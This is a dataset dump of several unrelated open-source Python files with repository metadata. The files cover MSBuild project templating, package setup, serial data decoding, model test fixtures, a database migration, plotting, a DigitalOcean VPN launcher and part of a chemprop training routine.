<ItemDefinitionGroup> <ClCompile>%(compiles_debug_props)s%(additional_include_dirs)s </ClCompile> <ResourceCompile>%(resources_debug_props)s </ResourceCompile> </ItemDefinitionGroup> </Project>""" guids_template = """\ guid = '%s' source_filterdef_guid = '%s' include_filterdef_guid = '%s' other_filterdef_guid = '%s' python_filterdef_guid = '%s' cython_filterdef_guid = '%s' resource_filterdef_guid = '%s' """ num_guids = guids_template.count('%s') #=============================================================================== # Helper Methods #=============================================================================== def gen_guids(): t = guids_template uuids = [ '{%s}' % str(uuid.uuid1()).upper() for _ in range(0, num_guids) ] return t % tuple(uuids) #=============================================================================== # Helper Classes #=============================================================================== # vim:set ts=8 sw=4 sts=4 tw=0 et :

50.166667

179

0.692848

import uuid vcxproj_template = """\ <?xml version="1.0" encoding="utf-8"?> <Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <ItemGroup Label="ProjectConfigurations"> <ProjectConfiguration Include="Debug|Win32"> <Configuration>Debug</Configuration> <Platform>Win32</Platform> </ProjectConfiguration> <ProjectConfiguration Include="Debug|x64"> <Configuration>Debug</Configuration> <Platform>x64</Platform> </ProjectConfiguration> <ProjectConfiguration Include="PGInstrument|Win32"> <Configuration>PGInstrument</Configuration> <Platform>Win32</Platform> </ProjectConfiguration> <ProjectConfiguration Include="PGInstrument|x64"> <Configuration>PGInstrument</Configuration> <Platform>x64</Platform> </ProjectConfiguration> <ProjectConfiguration Include="PGUpdate|Win32"> <Configuration>PGUpdate</Configuration> <Platform>Win32</Platform> </ProjectConfiguration> <ProjectConfiguration Include="PGUpdate|x64"> <Configuration>PGUpdate</Configuration> <Platform>x64</Platform> </ProjectConfiguration> <ProjectConfiguration Include="Release|Win32"> <Configuration>Release</Configuration> <Platform>Win32</Platform> </ProjectConfiguration> <ProjectConfiguration Include="Release|x64"> <Configuration>Release</Configuration> <Platform>x64</Platform> </ProjectConfiguration> </ItemGroup> <PropertyGroup Label="Globals"> <ProjectGuid>%(guid)s</ProjectGuid> <RootNamespace>%(name)s</RootNamespace> <Keyword>Win32Proj</Keyword> </PropertyGroup> <PropertyGroup Label="UserMacros"> <%(dirname_macro_name)s>%(dirname_macro_value)s</%(dirname_macro_name)s> </PropertyGroup> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='PGUpdate|Win32'" Label="Configuration"> <ConfigurationType>DynamicLibrary</ConfigurationType> <CharacterSet>NotSet</CharacterSet> <WholeProgramOptimization>true</WholeProgramOptimization> </PropertyGroup> <PropertyGroup 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%(python_filters)s %(cython_filters)s %(other_filters)s </Project>""" props_template = """\ <?xml version="1.0" encoding="utf-8"?> <Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <PropertyGroup> <_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion> </PropertyGroup> <ItemDefinitionGroup> <ClCompile>%(compiles_props)s%(additional_include_dirs)s </ClCompile> <ResourceCompile>%(resources_props)s </ResourceCompile> </ItemDefinitionGroup> </Project>""" props_debug_template = """\ <?xml version="1.0" encoding="utf-8"?> <Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <PropertyGroup> <_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion> </PropertyGroup> <ItemDefinitionGroup> <ClCompile>%(compiles_debug_props)s%(additional_include_dirs)s </ClCompile> <ResourceCompile>%(resources_debug_props)s </ResourceCompile> </ItemDefinitionGroup> </Project>""" guids_template = """\ guid = '%s' source_filterdef_guid = '%s' include_filterdef_guid = '%s' other_filterdef_guid = '%s' python_filterdef_guid = '%s' cython_filterdef_guid = '%s' resource_filterdef_guid = '%s' """ num_guids = guids_template.count('%s') def gen_guids(): t = guids_template uuids = [ '{%s}' % str(uuid.uuid1()).upper() for _ in range(0, num_guids) ] return t % tuple(uuids)

true

f71029e3924c8dd93bfee8142465de9c95b5d32c

742

py

Python

setup.py

sshh12/pymeritrade

0bb73922c8c08207cf55b934867cf780559d9871

[ "MIT" ]

1

2020-12-04T20:46:24.000Z

setup.py

sshh12/pymeritrade

0bb73922c8c08207cf55b934867cf780559d9871

[ "MIT" ]

null

setup.py

sshh12/pymeritrade

0bb73922c8c08207cf55b934867cf780559d9871

[ "MIT" ]

null

import setuptools with open("README.md", "r") as fh: long_description = fh.read() with open("requirements.txt") as f: required = f.read().splitlines() setuptools.setup( name="pymeritrade", version="0.1.4", author="Shrivu Shankar", author_email="shrivu1122+pymeritrade@gmail.com", description="A Python API for TD Ameritrade.", long_description=long_description, long_description_content_type="text/markdown", url="https://github.com/sshh12/pymeritrade", packages=setuptools.find_packages(), install_requires=required, classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", ], )

25.586207

52

0.672507

import setuptools with open("README.md", "r") as fh: long_description = fh.read() with open("requirements.txt") as f: required = f.read().splitlines() setuptools.setup( name="pymeritrade", version="0.1.4", author="Shrivu Shankar", author_email="shrivu1122+pymeritrade@gmail.com", description="A Python API for TD Ameritrade.", long_description=long_description, long_description_content_type="text/markdown", url="https://github.com/sshh12/pymeritrade", packages=setuptools.find_packages(), install_requires=required, classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", ], )

true

f7102a3b2be5c1c5cc7c227eb2f94f35c34f04bc

4,838

py

Python

tests/test_DecodeSerialData.py

ricorx7/rti-python

1316323b782ddb8df357e55404f507a9573e172c

[ "BSD-3-Clause" ]

1

2017-06-10T13:27:44.000Z

tests/test_DecodeSerialData.py

ricorx7/rti-python

1316323b782ddb8df357e55404f507a9573e172c

[ "BSD-3-Clause" ]

10

2019-12-28T18:06:18.000Z

2022-03-25T18:48:20.000Z

tests/test_DecodeSerialData.py

ricorx7/rti_python

1316323b782ddb8df357e55404f507a9573e172c

[ "BSD-3-Clause" ]

null

import threading import socket import sys import getopt from log import logger from Codecs.AdcpCodec import AdcpCodec from Comm.AdcpSerialPortServer import AdcpSerialPortServer class DecodeSerialData: def __init__(self, tcp_port, comm_port, baud): """ Initialize the thread to read the data from the TCP port. """ self.is_alive = True self.raw_serial_socket = None self.serial_server_thread = None # Create the codec self.codec = AdcpCodec() # Create a serial port server to read data from the # serial port and pass it on TCP self.serial_server = AdcpSerialPortServer(str(tcp_port), comm_port, baud) # Start a tcp connection to monitor incoming data and decode self.serial_server_thread = threading.Thread(name='AdcpDecoder', target=self.create_raw_serial_socket(tcp_port)) self.serial_server_thread.start() def create_raw_serial_socket(self, port): """ Connect to the ADCP serial server. This TCP server outputs data from the serial port. Start reading the data. """ try: # Create socket self.raw_serial_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.raw_serial_socket.connect(('localhost', int(port))) self.raw_serial_socket.settimeout(1) # Set timeout to stop thread if terminated # Start to read the raw data self.read_tcp_socket() except ConnectionRefusedError as err: logger.error("Serial Send Socket: ", err) exit() except Exception as err: logger.error('Serial Send Socket: ", Error Opening socket', err) exit() def read_tcp_socket(self): """ Read the data from the TCP port. This is the raw data from the serial port. """ while self.is_alive: try: # Read data from socket data = self.raw_serial_socket.recv(4096) # If data exist process if len(data) > 0: # Send the data received to the codec self.codec.add(data) except socket.timeout: # Just a socket timeout, continue on pass except Exception as e: logger.error("Exception in reading data.", e) self.stop_adcp_server() print("Read Thread turned off") def stop_adcp_server(self): """ Stop the ADCP Serial TCP server """ # Stop the thread loop self.is_alive = False if self.serial_server is not None: self.serial_server.close() logger.debug("serial server stopped") else: logger.debug('No serial connection') # Close the socket self.raw_serial_socket.close() # Stop the server thread if self.serial_server_thread is not None: self.serial_server_thread.join() # Close the open file self.close_file_write() logger.debug("Stop the Recorder") def main(argv): tcp_port = "55056" comm_port = '/dev/tty.usbserial-FT0ED8ZR' baud = 115200 try: opts, args = getopt.getopt(argv,"hlt:c:b:", []) except getopt.GetoptError: print('test_DecodeSerialData.py -t <tcp_port> -c <comm> -b <baud>') sys.exit(2) for opt, arg in opts: if opt == '-h': print('test_DecodeSerialData.py -t <tcp_port> -c <comm> -b <baud>') sys.exit() elif opt in ("-l"): print("Available Serial Ports:") AdcpSerialPortServer.list_serial_ports() exit() elif opt in ('-t'): tcp_port = arg elif opt in ("-c"): comm_port = arg elif opt in ("-b"): baud = int(arg) # Get a list of all the serial ports available print("Available Serial Ports:") serial_list = AdcpSerialPortServer.list_serial_ports() print("TCP Port: " + tcp_port) print("Comm Port: " + comm_port) print("Baud rate: " + str(baud)) # Verify a good serial port was given if comm_port in serial_list: # Run serial port sdr = DecodeSerialData(tcp_port, comm_port, baud) sdr.stop_adcp_server() else: print("----------------------------------------------------------------") print("BAD SERIAL PORT GIVEN") print("Please use -c to give a good serial port.") print("-l will give you a list of all available serial ports.") if __name__ == "__main__": main(sys.argv[1:])

32.911565

120

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import threading import socket import sys import getopt from log import logger from Codecs.AdcpCodec import AdcpCodec from Comm.AdcpSerialPortServer import AdcpSerialPortServer class DecodeSerialData: def __init__(self, tcp_port, comm_port, baud): self.is_alive = True self.raw_serial_socket = None self.serial_server_thread = None self.codec = AdcpCodec() self.serial_server = AdcpSerialPortServer(str(tcp_port), comm_port, baud) self.serial_server_thread = threading.Thread(name='AdcpDecoder', target=self.create_raw_serial_socket(tcp_port)) self.serial_server_thread.start() def create_raw_serial_socket(self, port): try: self.raw_serial_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.raw_serial_socket.connect(('localhost', int(port))) self.raw_serial_socket.settimeout(1) self.read_tcp_socket() except ConnectionRefusedError as err: logger.error("Serial Send Socket: ", err) exit() except Exception as err: logger.error('Serial Send Socket: ", Error Opening socket', err) exit() def read_tcp_socket(self): while self.is_alive: try: # Read data from socket data = self.raw_serial_socket.recv(4096) # If data exist process if len(data) > 0: # Send the data received to the codec self.codec.add(data) except socket.timeout: # Just a socket timeout, continue on pass except Exception as e: logger.error("Exception in reading data.", e) self.stop_adcp_server() print("Read Thread turned off") def stop_adcp_server(self): # Stop the thread loop self.is_alive = False if self.serial_server is not None: self.serial_server.close() logger.debug("serial server stopped") else: logger.debug('No serial connection') # Close the socket self.raw_serial_socket.close() # Stop the server thread if self.serial_server_thread is not None: self.serial_server_thread.join() # Close the open file self.close_file_write() logger.debug("Stop the Recorder") def main(argv): tcp_port = "55056" comm_port = '/dev/tty.usbserial-FT0ED8ZR' baud = 115200 try: opts, args = getopt.getopt(argv,"hlt:c:b:", []) except getopt.GetoptError: print('test_DecodeSerialData.py -t <tcp_port> -c <comm> -b <baud>') sys.exit(2) for opt, arg in opts: if opt == '-h': print('test_DecodeSerialData.py -t <tcp_port> -c <comm> -b <baud>') sys.exit() elif opt in ("-l"): print("Available Serial Ports:") AdcpSerialPortServer.list_serial_ports() exit() elif opt in ('-t'): tcp_port = arg elif opt in ("-c"): comm_port = arg elif opt in ("-b"): baud = int(arg) # Get a list of all the serial ports available print("Available Serial Ports:") serial_list = AdcpSerialPortServer.list_serial_ports() print("TCP Port: " + tcp_port) print("Comm Port: " + comm_port) print("Baud rate: " + str(baud)) # Verify a good serial port was given if comm_port in serial_list: # Run serial port sdr = DecodeSerialData(tcp_port, comm_port, baud) sdr.stop_adcp_server() else: print("----------------------------------------------------------------") print("BAD SERIAL PORT GIVEN") print("Please use -c to give a good serial port.") print("-l will give you a list of all available serial ports.") if __name__ == "__main__": main(sys.argv[1:])

true

f7102bbbb5e3e0d524fd7b1d3ea685d7b17ed8f4

1,421

py

Python

test/lmp/model/_lstm/conftest.py

a868111817/language-model-playground

814ab9ca7ba7c927de39123fdb7539acd2d0e5cc

[ "Beerware" ]

9

2020-07-31T10:27:28.000Z

2021-12-23T05:58:03.000Z

test/lmp/model/_lstm/conftest.py

Aidenzich/language-model-playground

daecd4e39bbf8128b04aa236ad1d31cd22c3c1d9

[ "Beerware" ]

10

2020-07-28T05:32:52.000Z

2022-03-04T06:36:23.000Z

test/lmp/model/_lstm/conftest.py

Aidenzich/language-model-playground

daecd4e39bbf8128b04aa236ad1d31cd22c3c1d9

[ "Beerware" ]

20

2020-07-08T07:05:39.000Z

2021-09-22T07:20:46.000Z

r"""Setup fixtures for testing :py:class:`lmp.model.LSTMModel`.""" import pytest import torch from lmp.model import LSTMModel from lmp.tknzr import BaseTknzr @pytest.fixture def lstm_model( tknzr: BaseTknzr, d_emb: int, d_hid: int, n_hid_lyr: int, n_pre_hid_lyr: int, n_post_hid_lyr: int, p_emb: float, p_hid: float, ) -> LSTMModel: r"""Example ``LSTMModel`` instance.""" return LSTMModel( d_emb=d_emb, d_hid=d_hid, n_hid_lyr=n_hid_lyr, n_pre_hid_lyr=n_pre_hid_lyr, n_post_hid_lyr=n_post_hid_lyr, p_emb=p_emb, p_hid=p_hid, tknzr=tknzr, ) @pytest.fixture def batch_prev_tkids(lstm_model: LSTMModel) -> torch.Tensor: r"""Example input batch of token ids.""" # Shape: (2, 3). return torch.randint( low=0, high=lstm_model.emb.num_embeddings, size=(2, 3), ) @pytest.fixture def batch_next_tkids( lstm_model: LSTMModel, batch_prev_tkids: torch.Tensor, ) -> torch.Tensor: r"""Example target batch of token ids.""" # Same shape as `batch_prev_tkids`. return torch.cat( [ batch_prev_tkids[..., :-1], torch.randint( low=0, high=lstm_model.emb.num_embeddings, size=(batch_prev_tkids.shape[0], 1), ), ], dim=1, )

22.555556

66

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import pytest import torch from lmp.model import LSTMModel from lmp.tknzr import BaseTknzr @pytest.fixture def lstm_model( tknzr: BaseTknzr, d_emb: int, d_hid: int, n_hid_lyr: int, n_pre_hid_lyr: int, n_post_hid_lyr: int, p_emb: float, p_hid: float, ) -> LSTMModel: return LSTMModel( d_emb=d_emb, d_hid=d_hid, n_hid_lyr=n_hid_lyr, n_pre_hid_lyr=n_pre_hid_lyr, n_post_hid_lyr=n_post_hid_lyr, p_emb=p_emb, p_hid=p_hid, tknzr=tknzr, ) @pytest.fixture def batch_prev_tkids(lstm_model: LSTMModel) -> torch.Tensor: return torch.randint( low=0, high=lstm_model.emb.num_embeddings, size=(2, 3), ) @pytest.fixture def batch_next_tkids( lstm_model: LSTMModel, batch_prev_tkids: torch.Tensor, ) -> torch.Tensor: return torch.cat( [ batch_prev_tkids[..., :-1], torch.randint( low=0, high=lstm_model.emb.num_embeddings, size=(batch_prev_tkids.shape[0], 1), ), ], dim=1, )

true

f7102c3ab6bd0cb874396d2b18df2dc4e19d5326

733

py

Python

backend/databasemodel/alembic/versions/b4eea63fd165_add_cityname_indexes_for_filtering.py

GispoCoding/tarmo

064eead90991fb2836173b647282e044dfa06c5a

[ "MIT" ]

null

backend/databasemodel/alembic/versions/b4eea63fd165_add_cityname_indexes_for_filtering.py

GispoCoding/tarmo

064eead90991fb2836173b647282e044dfa06c5a

[ "MIT" ]

92

2022-01-27T08:05:09.000Z

2022-03-31T06:54:46.000Z

backend/databasemodel/alembic/versions/b4eea63fd165_add_cityname_indexes_for_filtering.py

GispoCoding/tarmo

064eead90991fb2836173b647282e044dfa06c5a

[ "MIT" ]

null

"""add cityname indexes for filtering Revision ID: b4eea63fd165 Revises: 850af1d21f5e Create Date: 2022-05-05 17:39:57.826059 """ import os from alembic import op here = os.path.dirname(os.path.realpath(__file__)) # revision identifiers, used by Alembic. revision = "b4eea63fd165" down_revision = "850af1d21f5e" branch_labels = None depends_on = None revision_dir = f"{here}/{revision}" # idea from https://github.com/tbobm/alembic-sequeled def process_migration(script_name: str): filename = f"{revision_dir}/{script_name}.sql" query = "\n".join(open(filename)) if len(query) > 0: op.execute(query) def upgrade(): process_migration("upgrade") def downgrade(): process_migration("downgrade")

19.289474

53

0.723056

import os from alembic import op here = os.path.dirname(os.path.realpath(__file__)) revision = "b4eea63fd165" down_revision = "850af1d21f5e" branch_labels = None depends_on = None revision_dir = f"{here}/{revision}" def process_migration(script_name: str): filename = f"{revision_dir}/{script_name}.sql" query = "\n".join(open(filename)) if len(query) > 0: op.execute(query) def upgrade(): process_migration("upgrade") def downgrade(): process_migration("downgrade")

true

f7102cf126adafab6de592904ddaa1d404fe782b

1,011

py

Python

src/sima/metocean/blueprints/extremevalue.py

SINTEF/simapy

650b8c2f15503dad98e2bfc0d0788509593822c7

[ "MIT" ]

null

src/sima/metocean/blueprints/extremevalue.py

SINTEF/simapy

650b8c2f15503dad98e2bfc0d0788509593822c7

[ "MIT" ]

null

src/sima/metocean/blueprints/extremevalue.py

SINTEF/simapy

650b8c2f15503dad98e2bfc0d0788509593822c7

[ "MIT" ]

null

# # Generated with ExtremeValueBlueprint from dmt.blueprint import Blueprint from dmt.dimension import Dimension from dmt.attribute import Attribute from dmt.enum_attribute import EnumAttribute from dmt.blueprint_attribute import BlueprintAttribute from sima.sima.blueprints.moao import MOAOBlueprint class ExtremeValueBlueprint(MOAOBlueprint): """""" def __init__(self, name="ExtremeValue", package_path="sima/metocean", description=""): super().__init__(name,package_path,description) self.attributes.append(Attribute("name","string","",default="")) self.attributes.append(Attribute("description","string","",default="")) self.attributes.append(Attribute("_id","string","",default="")) self.attributes.append(BlueprintAttribute("scriptableValues","sima/sima/ScriptableValue","",True,Dimension("*"))) self.attributes.append(Attribute("extreme","number","",default=0.0)) self.attributes.append(Attribute("returnPeriod","number","",default=0.0))

50.55

121

0.739862

from dmt.blueprint import Blueprint from dmt.dimension import Dimension from dmt.attribute import Attribute from dmt.enum_attribute import EnumAttribute from dmt.blueprint_attribute import BlueprintAttribute from sima.sima.blueprints.moao import MOAOBlueprint class ExtremeValueBlueprint(MOAOBlueprint): def __init__(self, name="ExtremeValue", package_path="sima/metocean", description=""): super().__init__(name,package_path,description) self.attributes.append(Attribute("name","string","",default="")) self.attributes.append(Attribute("description","string","",default="")) self.attributes.append(Attribute("_id","string","",default="")) self.attributes.append(BlueprintAttribute("scriptableValues","sima/sima/ScriptableValue","",True,Dimension("*"))) self.attributes.append(Attribute("extreme","number","",default=0.0)) self.attributes.append(Attribute("returnPeriod","number","",default=0.0))

true

f7102d6826665c4b3d3b3525445b2c5af3a15fd8

2,323

py

Python

code/visualization/ucb.py

hust-cec-2021/ma2bea

196f8de33cc4902bd9cb1fdd5400e41f9c275b55

[ "MIT" ]

null

code/visualization/ucb.py

hust-cec-2021/ma2bea

196f8de33cc4902bd9cb1fdd5400e41f9c275b55

[ "MIT" ]

1

2021-09-08T13:39:10.000Z

2021-09-09T03:43:06.000Z

code/visualization/ucb.py

hust-cec-2021/ma2bea

196f8de33cc4902bd9cb1fdd5400e41f9c275b55

[ "MIT" ]

null

import os import argparse import numpy as np import matplotlib.pyplot as plt def get_args(): # create argument parser parser = argparse.ArgumentParser() # parameter for problem parser.add_argument('--seed', type=int, default=1) parser.add_argument('--benchmark_id', type=int, default=0) parser.add_argument('--rmp', type=float, default=0.3) # parse args args = parser.parse_args() # add other args return args ROOT = '../../result' def load(args): folder = os.path.join(ROOT, '{}/{}_{}'.format(args.benchmark_id, args.algorithm, args.rmp)) Fitness = [] for name in os.listdir(folder): path = os.path.join(folder, name) if 'ucb' in name: y = np.load(path) Fitness.append(y) return np.array(Fitness) def get_label(args): return '{}_{}'.format(args.algorithm, args.benchmark_id) def plot(Fitness, args): cs = [ ['b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b'], ['b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b'], ['b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b'], ['b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b'], ['r', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b'], ['b', 'r', 'b', 'b', 'b', 'b', 'b', 'b', 'b'], ['b', 'b', 'r', 'r', 'b', 'b', 'b', 'b', 'b'], ['b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b'], ['b', 'b', 'b', 'r', 'b', 'b', 'b', 'b', 'b'], ['b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b'], ] label = get_label(args) Fitness = Fitness[:, :, args.source] mean_fitness = np.mean(Fitness, axis=0) i = 0 for target in range(mean_fitness.shape[1]): if target != args.source: plt.plot(mean_fitness[:, target], label='T{}'.format(target+1), color=cs[args.source][i], linewidth=0.3) plt.ylabel('UCB value') i += 1 def main(): # get args args = get_args() # plot each algorithm args.algorithm = 'MTO' Fitness = load(args) for source in range(10): args.source = source plot(Fitness, args) plt.legend() plt.ylim((0, 2)) plt.savefig('plot/ucb/{}.eps'.format(source + 1), dpi=300) plt.savefig('plot/ucb/{}.png'.format(source + 1), dpi=300) plt.clf() plt.cla() if __name__ == '__main__': main()

29.782051

116

0.494189

import os import argparse import numpy as np import matplotlib.pyplot as plt def get_args(): parser = argparse.ArgumentParser() parser.add_argument('--seed', type=int, default=1) parser.add_argument('--benchmark_id', type=int, default=0) parser.add_argument('--rmp', type=float, default=0.3) args = parser.parse_args() return args ROOT = '../../result' def load(args): folder = os.path.join(ROOT, '{}/{}_{}'.format(args.benchmark_id, args.algorithm, args.rmp)) Fitness = [] for name in os.listdir(folder): path = os.path.join(folder, name) if 'ucb' in name: y = np.load(path) Fitness.append(y) return np.array(Fitness) def get_label(args): return '{}_{}'.format(args.algorithm, args.benchmark_id) def plot(Fitness, args): cs = [ ['b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b'], ['b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b'], ['b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b'], ['b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b'], ['r', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b'], ['b', 'r', 'b', 'b', 'b', 'b', 'b', 'b', 'b'], ['b', 'b', 'r', 'r', 'b', 'b', 'b', 'b', 'b'], ['b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b'], ['b', 'b', 'b', 'r', 'b', 'b', 'b', 'b', 'b'], ['b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b'], ] label = get_label(args) Fitness = Fitness[:, :, args.source] mean_fitness = np.mean(Fitness, axis=0) i = 0 for target in range(mean_fitness.shape[1]): if target != args.source: plt.plot(mean_fitness[:, target], label='T{}'.format(target+1), color=cs[args.source][i], linewidth=0.3) plt.ylabel('UCB value') i += 1 def main(): args = get_args() args.algorithm = 'MTO' Fitness = load(args) for source in range(10): args.source = source plot(Fitness, args) plt.legend() plt.ylim((0, 2)) plt.savefig('plot/ucb/{}.eps'.format(source + 1), dpi=300) plt.savefig('plot/ucb/{}.png'.format(source + 1), dpi=300) plt.clf() plt.cla() if __name__ == '__main__': main()

true

f7102d81b029f475ab955aea8189e37c558f7827

2,229

py

Python

dovpn.py

dhminch/dovpn

bcd35679d33608f243ceef23b8581c56cfe59dd8

[ "MIT" ]

null

dovpn.py

dhminch/dovpn

bcd35679d33608f243ceef23b8581c56cfe59dd8

[ "MIT" ]

null

dovpn.py

dhminch/dovpn

bcd35679d33608f243ceef23b8581c56cfe59dd8

[ "MIT" ]

null

#!/usr/bin/env python3 """Main function for the DOVPN project.""" import argparse import logging import os import yaml import vpnorchestrator def main(): """Main function that sets up script to run. Handles arguments, logging, and configuration before passing of control to the orchestrator object.""" parser = argparse.ArgumentParser(description='Manage a DigitalOcean VPN.') parser.add_argument('-c', '--config', default="config.yaml", help='configuration file location') parser.add_argument('-r', '--remove', action='store_true', help='remove all related DigitalOcean droplets and keys, and quit') parser.add_argument('-v', '--verbose', action='store_true', help="enable verbose output") parser.add_argument('-d', '--debug', action='store_true', help="enable verbose output with HTTP requests (implies -v)") args = parser.parse_args() log_format = "%(asctime)s %(levelname)8s: %(message)s" if args.debug: import http.client as http_client http_client.HTTPConnection.debuglevel = 1 logging.basicConfig(format=log_format, level=logging.DEBUG) elif args.verbose: logging.basicConfig(format=log_format, level=logging.DEBUG) else: logging.basicConfig(format=log_format, level=logging.INFO) if os.geteuid() != 0: logging.critical("You are not root!") exit(1) if not os.path.isfile(args.config): logging.critical("Config file {} does not exist.".format(args.config)) exit(1) logging.info("Loading configuration file {}".format(args.config)) with open(args.config, "r") as config_file: config_yaml = yaml.load(config_file, Loader=yaml.FullLoader) if args.remove: logging.info("Removing all DigitalOcean droplets and keys") orch = vpnorchestrator.VpnOrchestrator(config_yaml) orch.clean() exit(0) try: orch = vpnorchestrator.VpnOrchestrator(config_yaml) orch.start() orch.wait() orch.teardown() except Exception as ex: orch.teardown() raise ex if __name__ == "__main__": main()

33.268657

91

0.645581

import argparse import logging import os import yaml import vpnorchestrator def main(): parser = argparse.ArgumentParser(description='Manage a DigitalOcean VPN.') parser.add_argument('-c', '--config', default="config.yaml", help='configuration file location') parser.add_argument('-r', '--remove', action='store_true', help='remove all related DigitalOcean droplets and keys, and quit') parser.add_argument('-v', '--verbose', action='store_true', help="enable verbose output") parser.add_argument('-d', '--debug', action='store_true', help="enable verbose output with HTTP requests (implies -v)") args = parser.parse_args() log_format = "%(asctime)s %(levelname)8s: %(message)s" if args.debug: import http.client as http_client http_client.HTTPConnection.debuglevel = 1 logging.basicConfig(format=log_format, level=logging.DEBUG) elif args.verbose: logging.basicConfig(format=log_format, level=logging.DEBUG) else: logging.basicConfig(format=log_format, level=logging.INFO) if os.geteuid() != 0: logging.critical("You are not root!") exit(1) if not os.path.isfile(args.config): logging.critical("Config file {} does not exist.".format(args.config)) exit(1) logging.info("Loading configuration file {}".format(args.config)) with open(args.config, "r") as config_file: config_yaml = yaml.load(config_file, Loader=yaml.FullLoader) if args.remove: logging.info("Removing all DigitalOcean droplets and keys") orch = vpnorchestrator.VpnOrchestrator(config_yaml) orch.clean() exit(0) try: orch = vpnorchestrator.VpnOrchestrator(config_yaml) orch.start() orch.wait() orch.teardown() except Exception as ex: orch.teardown() raise ex if __name__ == "__main__": main()

true

f7102ec5b68677844155001f87b3bfc7105cb084

12,274

py

Python

chemprop/train/run_training.py

allisontam/chemprop

87ac151c68d8a200d564b064103c4f514e29f6bd

[ "MIT" ]

null

chemprop/train/run_training.py

allisontam/chemprop

87ac151c68d8a200d564b064103c4f514e29f6bd

[ "MIT" ]

null

chemprop/train/run_training.py

allisontam/chemprop

87ac151c68d8a200d564b064103c4f514e29f6bd

[ "MIT" ]

1

2020-04-02T13:10:34.000Z

from argparse import Namespace import csv from logging import Logger import os from pprint import pformat from typing import List import numpy as np from tensorboardX import SummaryWriter import torch from tqdm import trange import pickle from torch.optim.lr_scheduler import ExponentialLR from .evaluate import evaluate, evaluate_predictions from .predict import predict, save_predictions from .train import train from chemprop.data import StandardScaler from chemprop.data.utils import flip_data, get_class_sizes, get_data, get_task_names, split_data, split_loocv from chemprop.models import build_model from chemprop.nn_utils import param_count from chemprop.utils import build_optimizer, build_lr_scheduler, get_loss_func, get_metric_func, load_checkpoint,\ makedirs, save_checkpoint def run_training(args: Namespace, logger: Logger = None) -> List[float]: """ Trains a model and returns test scores on the model checkpoint with the highest validation score. :param args: Arguments. :param logger: Logger. :return: A list of ensemble scores for each task. """ if logger is not None: debug, info = logger.debug, logger.info else: debug = info = print # Set GPU if args.gpu is not None: torch.cuda.set_device(args.gpu) # Print args debug(pformat(vars(args))) # Get data debug('Loading data') args.task_names = get_task_names(args.data_path, args.data_format) data = get_data(path=args.data_path, args=args, logger=logger) args.num_tasks = data.num_tasks() args.features_size = data.features_size() debug(f'Number of tasks = {args.num_tasks}') # Split data debug(f'Splitting data with seed {args.seed}') if args.separate_test_path: test_data = get_data(path=args.separate_test_path, args=args, features_path=args.separate_test_features_path, logger=logger) if args.separate_val_path: val_data = get_data(path=args.separate_val_path, args=args, features_path=args.separate_val_features_path, logger=logger) if args.separate_val_path and args.separate_test_path: train_data = data elif args.separate_val_path: train_data, _, test_data = split_data(data=data, split_type=args.split_type, sizes=(0.8, 0.0, 0.2), seed=args.seed, args=args, logger=logger) elif args.separate_test_path: train_data, val_data, _ = split_data(data=data, split_type=args.split_type, sizes=(0.8, 0.2, 0.0), seed=args.seed, args=args, logger=logger) elif args.split_type == 'loocv': train_data, val_data, test_data = split_loocv(data=data, args=args, logger=logger) else: train_data, val_data, test_data = split_data(data=data, split_type=args.split_type, sizes=args.split_sizes, seed=args.seed, args=args, logger=logger) if args.dataset_type == 'classification': class_sizes = get_class_sizes(test_data) debug('Class sizes in test set') for i, task_class_sizes in enumerate(class_sizes): debug(f'{args.task_names[i]} ' f'{", ".join(f"{cls}: {size * 100:.2f}%" for cls, size in enumerate(task_class_sizes))}') if not args.train_all and task_class_sizes == 0: # TODO: only works for just 1 property prediction task debug('Moved to next epoch due to homogenous targets in test set.') return [float('nan')] if args.save_smiles_splits: with open(args.data_path, 'r') as f: reader = csv.reader(f) header = next(reader) lines_by_smiles = {} indices_by_smiles = {} for i, line in enumerate(reader): smiles = (line[0], line[1]) lines_by_smiles[smiles] = line indices_by_smiles[smiles] = i all_split_indices = [] for dataset, name in [(train_data, 'train'), (val_data, 'val'), (test_data, 'test')]: with open(os.path.join(args.save_dir, name + '_smiles.csv'), 'w') as f: writer = csv.writer(f) writer.writerow(['smiles']) for smiles in dataset.smiles(): writer.writerow([smiles]) with open(os.path.join(args.save_dir, name + '_full.csv'), 'w') as f: writer = csv.writer(f) writer.writerow(header) for smiles in dataset.smiles(): writer.writerow(lines_by_smiles[smiles]) split_indices = [] for smiles in dataset.smiles(): split_indices.append(indices_by_smiles[smiles]) split_indices = sorted(split_indices) all_split_indices.append(split_indices) with open(os.path.join(args.save_dir, 'split_indices.pckl'), 'wb') as f: pickle.dump(all_split_indices, f) if args.symmetric: train_data = flip_data(train_data) if args.features_scaling: drug_scaler, cmpd_scaler = train_data.normalize_features(replace_nan_token=0) val_data.normalize_features(drug_scaler, cmpd_scaler) test_data.normalize_features(drug_scaler, cmpd_scaler) else: 